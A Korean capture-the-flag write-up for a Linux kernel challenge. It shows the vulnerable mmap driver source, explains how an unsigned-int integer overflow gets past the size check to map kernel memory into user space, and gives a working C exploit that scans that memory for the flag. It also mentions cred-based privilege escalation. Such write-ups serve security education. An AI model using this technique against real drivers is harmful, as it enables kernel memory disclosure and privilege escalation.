[CTF write up] WACon CTF 2022 qual - Yalkp : Kernel mmap handler exploitation

2023. 5. 16. 10:21CTF write up

#include <linux/device.h> // 리눅스 디바이스 관련 헤더파일을 포함
#include <linux/fs.h> // 파일 시스템 관련 헤더파일을 포함
#include <linux/kernel.h> // 커널 관련 헤더파일을 포함
#include <linux/list.h> // 연결 리스트 관련 헤더파일을 포함
#include <linux/module.h> // 모듈 관련 헤더파일을 포함
#include <linux/mutex.h> // 뮤텍스 관련 헤더파일을 포함
#include <linux/random.h> // 난수 관련 헤더파일을 포함
#include <linux/slab.h> // 슬랩 할당자 관련 헤더파일을 포함
#include <linux/uaccess.h> // 사용자 공간 접근 관련 헤더파일을 포함
#include <linux/mm.h> // 메모리 관리 관련 헤더파일을 포함

#define DEVICE_NAME "chall" // 디바이스 이름을 "chall"로 설정
#define CLASS_NAME "chall" // 클래스 이름을 "chall"로 설정
#define NOTE_SIZE (0x1000 * 16) // 노트 크기를 설정 (16KB)

MODULE_AUTHOR("r4j"); // 모듈 작성자를 "r4j"로 설정
MODULE_LICENSE("GPL"); // 모듈 라이선스를 GPL로 설정

// 파일 연산 구조체에 대한 함수 선언
static int chall_open(struct inode *inode, struct file *file);
static int chall_release(struct inode *inode, struct file *file);
static int chall_mmap(struct file *file, struct vm_area_struct *vma);
static ssize_t chall_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

// 변수 선언
static int major; // 메이저 번호를 저장하는 변수
static struct class *chall_class = NULL; // 클래스 포인터를 NULL로 초기화
static struct device *chall_device = NULL; // 디바이스 포인터를 NULL로 초기화

// 파일 연산 구조체 정의
static struct file_operations chall_fops = {
    .open = chall_open, // 열기 연산에 대한 함수 지정
    .release = chall_release, // 닫기 연산에 대한 함수 지정
    .mmap = chall_mmap, // 메모리 매핑 연산에 대한 함수 지정
    .write = chall_write, // 쓰기 연산에 대한 함수 지정
    .owner = THIS_MODULE // 모듈 소유자를 현재 모듈로 지정
};

// 커스텀 데이터 타입 정의
typedef struct chall_ctx {
    struct page * note; // 페이지 포인터를 저장하는 멤버
    unsigned long size; // 크기를 저장하는 멤버
} chall_ctx;

int chall_opens = 0; // 열린 횟수를 저장하는 정적

static vm_fault_t chall_vm_fault(struct vm_fault *vmf) { // 페이지 폴트 핸들러 정의
    struct vm_area_struct *vma = vmf->vma; // 가상 메모리 영역 구조체 포인터 추출
    chall_ctx * ctx = vma->vm_file->private_data; // 커스텀 데이터 구조체 포인터 추출
    
    unsigned long offset = vmf->address - vma->vm_start; // 주소에서 시작 주소를 빼서 오프셋 계산
    int pgoff = offset >> PAGE_SHIFT; // 오프셋을 페이지 크기로 나눠서 페이지 오프셋 계산
    int pfn = page_to_pfn(ctx->note) + pgoff; // 페이지 프레임 번호 계산

    return vmf_insert_pfn(vma, vmf->address, pfn); // 계산한 페이지 프레임 번호로 페이지 삽입
}

static const struct vm_operations_struct chall_vm_ops = { // 가상 메모리 연산 구조체 정의
    .fault = chall_vm_fault, // 페이지 폴트 핸들러 함수 지정
};

static int chall_open(struct inode *inode, struct file *file) { // 파일 열기 함수 정의
    chall_ctx * ctx;
    if(chall_opens++) // 파일이 이미 열려있으면 에러 반환
        return -ENOMEM;

    ctx = kzalloc(sizeof(chall_ctx), GFP_KERNEL); // 커널 메모리에서 커스텀 데이터 구조체 크기만큼 할당
    if(ctx == NULL) // 할당 실패하면 에러 반환
        return -ENOMEM;
    
    ctx->note = alloc_pages(GFP_KERNEL, get_order(NOTE_SIZE)); // 페이지 할당
    if(ctx->note == NULL) { // 페이지 할당 실패하면 메모리 해제 후 에러 반환
        kfree(ctx);
        return -ENOMEM;
    }

    ctx->size = NOTE_SIZE; // 페이지 크기 설정
    file->private_data = ctx; // 파일의 private_data 포인터에 커스텀 데이터 연결
    return 0; // 성공 반환
}

static int chall_release(struct inode *inode, struct file *file) { // 파일 닫기 함수 정의
    chall_ctx * ctx = file->private_data; // 파일의 private_data에서 커스텀 데이터 구조체 포인터 추출
    if(ctx) { // 유효한 포인터이면
        __free_pages(ctx->note, get_order(NOTE_SIZE)); // 페이지 해제
        kfree(ctx); // 커널 메모리에서 커스텀 데이터 구조체 해제
        file->private_data = NULL; // 파일의 private_data 포인터 초기화
    }
    return 0; // 성공 반환
}

static ssize_t chall_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { // 파일 쓰기 함수 정의
    chall_ctx * ctx;
    unsigned char * note_ptr;

    if (file->f_pos < 0 || file->f_pos >= NOTE_SIZE) return 0; // 파일 위치가 유효하지 않으면 0 반환
    if (count < 0) return 0; // 쓰려는 바이트 수가 음수면 0 반환
    if (count > NOTE_SIZE) count = NOTE_SIZE - *f_pos; // 쓰려는 바이트 수가 NOTE_SIZE보다 크면 조정

    ctx = file->private_data; // 파일의 private_data에서 커스텀 데이터 구조체 포인터 추출
    note_ptr = page_to_virt(ctx->note) + *f_pos; // 페이지를 가상 주소로 변환 후 파일 위치를 더해 노트 포인터 계산
    if (copy_from_user(note_ptr, buf, count)) return -EFAULT; // 사용자 공간에서 커널 공간으로 데이터 복사. 실패하면 에러 반환

    *f_pos += count; // 파일 위치를 쓴 바이트 수만큼 이동
    return count; // 쓴 바이트 수 반환
}

static int chall_mmap(struct file *file, struct vm_area_struct *vma) { // 메모리 매핑 함수 정의
    chall_ctx * ctx = file->private_data; // 파일의 private_data에서 커스텀 데이터 구조체 포인터 추출
    unsigned int vma_size = vma->vm_end - vma->vm_start; // 가상 메모리 영역 크기 계산
    if(vma_size != ctx->size) // 요청한 메모리 영역 크기와 페이지 크기가 다르면 에러 반환
        return -EINVAL;

    if (vma->vm_flags & VM_WRITE) // 메모리 영역에 쓰기 플래그가 설정되어 있으면 에러 반환
        return -EPERM;

    vma->vm_flags &= ~VM_MAYWRITE; // 메모리 영역에서 쓰기 가능 플래그 제거
    vma->vm_file = file; // 메모리 영역의 파일 포인터 설정
    vma->vm_ops = &chall_vm_ops; // 메모리 영역의 연산 구조체 설정
    vma->vm_flags |= VM_DONTDUMP | VM_PFNMAP | VM_DONTEXPAND | VM_DONTCOPY; // 메모리 영역 플래그 설정

    remap_pfn_range(vma, vma->vm_start, page_to_pfn(ctx->note), vma_size, vma->vm_page_prot); // 페이지 프레임 번호 범위 재매핑
    return 0; // 성공 반환
}

static int __init init_chall(void) { // 모듈 초기화 함수 정의
    major = register_chrdev(0, DEVICE_NAME, &chall_fops); // 문자 디바이스 등록
    if (major < 0) // 등록 실패하면 에러 반환
        return -1;

    chall_class = class_create(THIS_MODULE, CLASS_NAME); // 클래스 생성
    if (IS_ERR(chall_class)) { // 생성 실패하면 디바이스 등록 해제 후 에러 반환
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    chall_device = device_create(chall_class, 0, MKDEV(major, 0), 0, DEVICE_NAME); // 디바이스 생성
    if (IS_ERR(chall_device)) { // 디바이스 생성 실패하면 클래스 해제, 디바이스 등록 해제 후 에러 반환
        class_destroy(chall_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0; // 성공 반환
}

static void __exit exit_chall(void) { // 모듈 종료 함수 정의
    device_destroy(chall_class, MKDEV(major, 0)); // 디바이스 제거
    class_unregister(chall_class); // 클래스 등록 해제
    class_destroy(chall_class); // 클래스 제거
    unregister_chrdev(major, DEVICE_NAME); // 디바이스 등록 해제
}

module_init(init_chall); // 모듈 초기화 함수 지정
module_exit(exit_chall); // 모듈 종료 함수 지정

문제 소스코드는 다음과 같다.

 

https://deshal3v.github.io/blog/kernel-research/mmap_exploitation

 

mmap handler exploitation

Description Recently I started to review the linux kernel, I’ve putted much time and effort trying to identify vulnerabilities. I looked on the cpia2 driver , which is a V4L driver , aimed for supporting cpia2 webcams. official documentation here. I foun

deshal3v.github.io

대충 해당 취약점을 이용한 문제인 것 같다.

 

취약점이 발생하는 이유는 매우 간단하다. chall_map은 remap_pfn_range 함수를 통해서 ctx->note 포인터에 할당된 커널 메모리를 유저영역에 리매핑한다. 이때 리매핑되는 범위가 ctx->size보다 클 경우 ctx->note에 해당하는 커널널 메모리뿐만 아니라 그 영역을 벗어나는 커널 메모리까지 유저영역에 리매핑 되버리기 때문에 소스코드에서는 if(vma_size != ctx->size) 조건문을 통해 경계검사를 하고 있다.

 

하지만 vma_size의 타입이 unsigned int이기 때문에 0xffffffff를 벗어나는 값이 들어올 경우 Intager overflow가 발생하게 된다. 더해서 remap_pfn_range 함수에 인자로 들어가는 size 값은 vma_size가 아니라 vma->vm_start 변수다. 따라서 Intager overflow를 일으키면 경계검사를 우회하고 커널 메모리를 유저 영역으로 잔뜩 리매핑 해버릴 수 있다.

 

그런데 이렇게 리매핑 된 메모리 영역은 write 권한이 제거된 상태이기 때문에 읽기 밖에 하지 못한다. 하지만 커널 메모리에는 파일 내용이 쓰여있는 페이지가 있기 때문에 리매핑 된 메모리 영역을 4kb(페이지 사이즈) 단위로 검색하면 플래그 값을 찾을 수 있다. 만약 write 권한이 있다면 cred 구조체가 있는 커널 메모리를 리매핑 받아서 권한 상승을 할 수도 있다.

 

 

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

int main(void){
    int fd = open("/dev/chall", O_RDWR);
    unsigned long int size = (0x1000 * 16) + 0xf00000000;
    char *kmem = mmap(0, size, PROT_READ, MAP_SHARED, fd, 0);
    printf("kmem : %p",kmem);

    for(unsigned long int i = 0; i < size; i = i + 0x1000){
        if(kmem[i] && (strncmp(&kmem[i], "WACon", 5)==0) ){
            printf("%s\n", &kmem[i]);
            break;
        } else {
            printf("%p\n", i);
        }
    }
}

 

 

 

flag